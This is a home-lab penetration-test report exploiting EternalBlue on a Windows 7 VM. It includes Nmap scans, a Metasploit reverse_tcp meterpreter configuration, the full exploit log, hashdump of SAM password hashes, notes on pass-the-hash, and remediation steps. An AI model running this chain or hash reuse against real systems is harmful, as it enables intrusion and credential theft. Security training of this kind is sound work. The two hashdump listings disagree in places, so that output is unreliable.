

EternalBlue — SMBv1 Remote Code Execution

CVE-2017-0144 | Windows 7 SP1 | Home Lab Exercise

Prepared by	Suyash Borde
Target Host	192.168.1.10 — YASH-PC (Windows 7 Ultimate SP1 x64)
Attacker Host	192.168.1.11 (Kali Linux)
Test Date	July 16, 2026
Classification	Confidential — Educational
Lab Environment	VirtualBox — Bridged Network

1. Executive Summary

This report documents successful exploitation of the EternalBlue vulnerability (CVE-2017-0144) against a Windows 7 Ultimate SP1 x64 target in an isolated VirtualBox home lab. EternalBlue exploits a critical flaw in the Windows SMBv1 protocol to achieve unauthenticated remote code execution. The attack resulted in a Meterpreter session running as NT AUTHORITY\SYSTEM — the highest privilege level on a Windows system — with full access to all user password hashes via hashdump.

Vulnerability	EternalBlue — SMBv1 Buffer Overflow / RCE
CVE	CVE-2017-0144 (also references CVE-2017-0143, MS17-010 bundle)
CVSS Score	9.3 (Critical)
Affected OS	Windows 7 SP1 x64 — YASH-PC
Service	SMB — Port 445/TCP
Access Gained	NT AUTHORITY\SYSTEM — highest Windows privilege
Exploit Used	Metasploit — exploit/windows/smb/ms17_010_eternalblue
Payload	windows/x64/meterpreter/reverse_tcp
Post-Exploit	hashdump — all 4 Windows account hashes retrieved
Session Type	Meterpreter x64/windows

Severity Rating:

CRITICAL

2. Background — What is EternalBlue?

EternalBlue is a cyberweapon originally developed by the United States NSA (National Security Agency) and leaked publicly by the Shadow Brokers hacker group in April 2017. It exploits a critical buffer overflow vulnerability in the Windows SMBv1 (Server Message Block version 1) protocol implementation.

The vulnerability exists because the SMBv1 handler in Windows incorrectly validates the size of certain transaction requests, allowing an attacker to overflow a kernel buffer and execute arbitrary code in the context of the SYSTEM account — with no authentication required.

EternalBlue became globally notorious as the attack vector behind the WannaCry ransomware outbreak in May 2017, which infected over 230,000 systems across 150 countries including hospitals, banks, and government agencies. Microsoft released patch MS17-010 on March 14, 2017 — systems that were not patched remained vulnerable.

CVE ID	CVE-2017-0144 (part of MS17-010 advisory)
CVSS v3 Score	9.3 — Critical
Protocol	SMBv1 — Port 445/TCP
Root Cause	Integer overflow in SMBv1 transaction handling — no input validation

Authentication	None required — fully unauthenticated
Affected Systems	Windows XP, Vista, 7, 8.1, Server 2003/2008/2012/2016 (unpatched)
Patch	MS17-010 — released March 14, 2017
Real-World Use	WannaCry (2017), NotPetya (2017), multiple APT groups

3. Scope & Environment

All testing was performed in an isolated VirtualBox home lab on a private bridged network. No external or production systems were targeted.

Role	OS / Detail	Hostname	IP Address
Attacker	Kali Linux (rolling)	kali	192.168.1.11
Target	Windows 7 Ultimate SP1 x64	YASH-PC	192.168.1.10

4. Reconnaissance

4.1 Vulnerability Confirmation Scan

Before exploitation, an Nmap script scan was run to confirm the target was vulnerable to MS17-010. The smb-vuln-ms17-010 NSE script sends crafted SMB packets and determines vulnerability based on the server response.

```
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.10
```

Result: State: VULNERABLE — CVE-2017-0143 confirmed on Windows 7 Ultimate SP1 x64.

4.2 Full Service Scan

A detailed service scan was run against port 445 to fingerprint the OS version, hostname, domain, and SMB security configuration.

```
nmap -sV -sC -p 445 -oN scan_windows_ms17010.txt 192.168.1.10
```

```
(root@kali)-[/home/suyash]
└─$ nmap -sV -sC -p 445 -oN scan_windows_ms17010.txt 192.168.1.10
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-16 06:15 -0400
Nmap scan report for 192.168.1.10 (192.168.1.10)
Host is up (0.0014s latency).

PORT      STATE SERVICE      VERSION
445/tcp   open  microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 08:00:27:4F:75:10 (Oracle VirtualBox virtual NIC)
Service Info: Host: YASH-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 2h19m54s, deviation: 4h02m29s, median: -5s
|_ smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: Yash-PC
|   NetBIOS computer name: YASH-PC\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2026-07-16T03:15:18-07:00
|_ nbstat: NetBIOS name: YASH-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:4f:75:10 (Oracle VirtualBox virtual NIC)
|_ smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|   message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|   2.1:
|       Message signing enabled but not required
|_ smb2-time:
|   date: 2026-07-16T10:15:18
|_ start_date: 2026-07-16T10:10:04

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.14 seconds
```

Figure 1 — Nmap scan: Windows 7 Ultimate 7601 SP1 confirmed; hostname YASH-PC; SMB message signing disabled (dangerous, but default)

Key findings from the scan:

OS Detected	Windows 7 Ultimate 7601 Service Pack 1 (6.1)
Hostname	YASH-PC
Workgroup	WORKGROUP
SMB Signing	Disabled — dangerous, but default on Windows 7
SMBv2 Signing	Enabled but not required
Architecture	x64
Vulnerability	MS17-010 confirmed VULNERABLE

5. Exploitation

5.1 Metasploit Module Configuration

The EternalBlue Metasploit module was selected and configured. The windows/x64/meterpreter/reverse_tcp payload was chosen to establish a fully-featured Meterpreter session rather than a basic command shell, enabling advanced post-exploitation capabilities.

```
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set LHOST 192.168.1.11
set PAYLOAD windows/x64/meterpreter/reverse_tcp show options run
```

```
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.1.10	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

```

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.1.11    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

```

Figure 2 — Module options: RHOSTS=192.168.1.10, LHOST=192.168.1.11, PAYLOAD=windows/x64/meterpreter/reverse_tcp, VERIFY_ARCH and VERIFY_TARGET enabled

5.2 Exploit Execution

Running the exploit triggered the full EternalBlue attack chain. Metasploit performed the following sequence automatically: confirmed vulnerability via SMB scanner, performed kernel pool grooming, sent the SMBv1 overflow payload, corrupted the non-paged pool, triggered the free, and sent the Meterpreter stage. The entire exploitation chain completed in approximately 6 seconds.

```
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.11:4444
[*] 192.168.1.10:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.1.10:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.29/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.1.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.1.10:445 - The target is vulnerable.
[*] 192.168.1.10:445 - Connecting to target for exploitation.
[*] 192.168.1.10:445 - Connection established for exploitation.
[*] 192.168.1.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.10:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.10:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.1.10:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.1.10:445 - 0x00000020 50 61 63 6b 20 21 Pack 1
[*] 192.168.1.10:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.10:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.10:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.10:445 - Starting non-paged pool grooming
[*] 192.168.1.10:445 - Sending SMBv2 buffers
[*] 192.168.1.10:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.10:445 - Sending final SMBv2 buffers.
[*] 192.168.1.10:445 - Sending last fragment of exploit packet!
[*] 192.168.1.10:445 - Receiving response from exploit packet
[*] 192.168.1.10:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.10:445 - Sending egg to corrupted connection.
[*] 192.168.1.10:445 - Triggering free of corrupted buffer.
[*] Sending stage (248902 bytes) to 192.168.1.10
[*] 192.168.1.10:445 - =====
[*] 192.168.1.10:445 - =====WIN=====
[*] 192.168.1.10:445 - =====
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.10:49170) at 2026-07-16 06:20:54 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : YASH-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b72c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$1007:aad3b435b51404eeaad3b435b51404ee:798a863d161a6364e585647c041f2608:::
Yash:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
```

Figure 3 — Full exploit chain: ETERNALBLUE overwrite completed (0xC000000D); Meterpreter session 1 opened; `getuid=NT AUTHORITY\SYSTEM`; `sysinfo`; `hashdump` with all 4 hashes

6. Post-Exploitation

6.1 Privilege Confirmation

Immediately after session opening, Meterpreter commands confirmed SYSTEM-level access and gathered full system information.

```
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer :
YASH-PC OS : Windows 7 (6.1 Build 7601, Service Pack 1) Architecture : x64 System Language :
en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows
```

6.2 Credential Harvesting — hashdump

The hashdump command extracted all Windows account password hashes from the SAM (Security Account Manager) database. This is only possible with SYSTEM-level access. The hashes follow the format: `username:RID:LM_hash:NTLM_hash:::`

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:798a863d161a6364e585647c041f2608:::
Yash:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
```

Administrator	NTLM: 31d6cfe0... — empty password (no password set)
Guest	NTLM: 31d6cfe0... — empty password (disabled account)
HomeGroupUser\$	NTLM: 798a863d... — HomeGroup service account
Yash	NTLM: 209c6174... — active user account, crackable offline

The NTLM hashes for the Yash and HomeGroupUser\$ accounts could be cracked offline using tools like Hashcat or John the Ripper, or used directly in Pass-the-Hash attacks to authenticate to other systems on the network without knowing the plaintext password.

7. Attack Chain — Technical Detail

The EternalBlue exploit works by abusing the way Windows SMBv1 handles Trans2 requests. The attack chain observed in the Metasploit output:

Phase	Action	Detail
1 — Recon	SMB Vulnerability Check	auxiliary/scanner/smb/smb_ms17_010 confirms vulnerable
2 — Grooming	Kernel Pool Grooming	12 Groom Allocations sent to arrange memory layout
3 — Overflow	SMBv1 Buffer Overflow	Exploit packet sent; non-paged pool corrupted
4 — Trigger	Free Corrupted Buffer	SMBv1 connection closed; free triggered

5 — Stage	Meterpreter Stage Sent	248902 bytes sent to 192.168.1.10
6 — Session	Meterpreter Session Opened	Reverse TCP — 192.168.1.11:4444 -> 192.168.1.10:49170
7 — Escalate	SYSTEM Access Confirmed	NT AUTHORITY\SYSTEM — kernel-level code execution
8 — Harvest	hashdump	All 4 SAM database hashes extracted

8. Impact Assessment

NT AUTHORITY\SYSTEM is the highest privilege context on a Windows machine — equivalent to root on Linux. From this position an attacker can:

- **Read and exfiltrate all files:** All user documents, emails, browser saved passwords, SSH keys, and application data are fully accessible.
- **Crack or use harvested hashes:** The Yash account NTLM hash can be cracked offline with Hashcat, or used in Pass-the-Hash attacks to move laterally to other machines on the network.
- **Install persistent backdoors:** Registry run keys, scheduled tasks, or Windows services can be created to maintain access across reboots.
- **Disable Windows Defender / AV:** SYSTEM-level access allows stopping or uninstalling security software.
- **Lateral movement:** With valid credentials and network access, pivot to other machines on 192.168.1.0/24 — including the Windows Server VM.
- **Deploy ransomware:** This is exactly how WannaCry operated — EternalBlue for initial access, then file encryption across the network.

9. Lab Progress — All Exploits Comparison

#	CVE	Vulnerability	OS	Access	Session
1	CVE-2011-2523	vsftpd backdoor	Linux	root	Meterpreter x86
2	CVE-2007-2447	Samba usermap_script	Linux	root	cmd/unix/reverse
3	CVE-2017-0144	EternalBlue MS17-010	Windows 7	NT AUTH\SYSTEM	Meterpreter x64

10. Remediation Recommendations

1. Apply MS17-010 Patch Immediately

Install Microsoft security bulletin MS17-010 (KB4012212 for Windows 7 SP1). This directly patches the SMBv1 vulnerability. On modern systems, Windows Update handles this automatically.

2. Disable SMBv1 Entirely

SMBv1 is a 30-year-old protocol with no modern security features. Disable it via PowerShell: `Set-SmbServerConfiguration -EnableSMB1Protocol $false`. SMBv2 and SMBv3 should be used exclusively.

3. Block Port 445 at the Perimeter

Port 445 (SMB) should never be exposed to the internet or untrusted networks. Apply strict firewall rules to allow SMB only between explicitly trusted hosts.

4. Enforce Strong Password Policy

The Administrator account had no password set (empty NTLM hash). All accounts must have strong passwords (minimum 12 characters, complexity requirements) to resist offline hash cracking.

5. Network Segmentation

Workstations should not be able to directly reach each other over SMB. Implement VLANs and host-based firewalls to prevent lateral movement even if one machine is compromised.

6. Deploy EDR / Modern AV

Endpoint Detection and Response tools detect EternalBlue exploitation patterns in real time. Windows Defender on modern Windows 10/11 blocks this attack by default.

7. Upgrade from Windows 7

Windows 7 reached end-of-life in January 2020 and receives no further security patches. Migration to Windows 10 or 11 is essential for any production environment.

11. Conclusion

EternalBlue is the most significant publicly known Windows vulnerability in history. This exercise demonstrated the complete attack chain from Nmap reconnaissance to SYSTEM-level Meterpreter access and credential harvesting — all within seconds and with zero authentication. The hashdump output shows real-world post-exploitation impact: harvested hashes can enable lateral movement across an entire network.

This is the third exploit completed in the VulnScan Lab, covering both Linux and Windows targets. Skills demonstrated: Nmap NSE scripting, SMBv1 exploitation mechanics, Meterpreter x64 session handling, Windows SAM database credential harvesting, NTLM hash analysis, and structured professional report writing.

Legal Disclaimer: This penetration test was conducted exclusively within a personal isolated VirtualBox lab environment. All target systems are intentionally vulnerable VMs owned and operated by the tester. No unauthorised systems were accessed. This report is produced for educational and portfolio purposes only.